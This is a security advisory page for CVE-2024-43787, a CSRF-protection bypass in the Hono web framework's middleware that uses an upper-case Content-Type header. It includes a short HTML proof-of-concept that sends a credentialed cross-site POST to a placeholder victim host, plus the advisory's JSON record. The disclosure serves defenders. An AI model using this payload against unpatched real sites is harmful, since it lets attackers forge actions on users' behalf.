GHSA-RPFR-3M35-5VX5
Vulnerability from github – Published: 2024-08-22 16:41 – Updated: 2024-11-18 16:27
VLAI?
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header
Details
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43787"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-22T16:41:08Z",
"nvd_published_at": "2024-08-22T15:15:16Z",
"severity": "LOW"
},
"details": "### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n \u003chead\u003e\n \u003ctitle\u003eCSRF Test\u003c/title\u003e\n \u003cscript defer\u003e\n document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n const res = await fetch(\"http://victim.example.com/test\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"Application/x-www-form-urlencoded\",\n },\n });\n });\n });\n \u003c/script\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003ch1\u003eCSRF Test\u003c/h1\u003e\n \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI\u0027m not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n",
"id": "GHSA-rpfr-3m35-5vx5",
"modified": "2024-11-18T16:27:06Z",
"published": "2024-08-22T16:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43787"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hono CSRF middleware can be bypassed using crafted Content-Type header"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…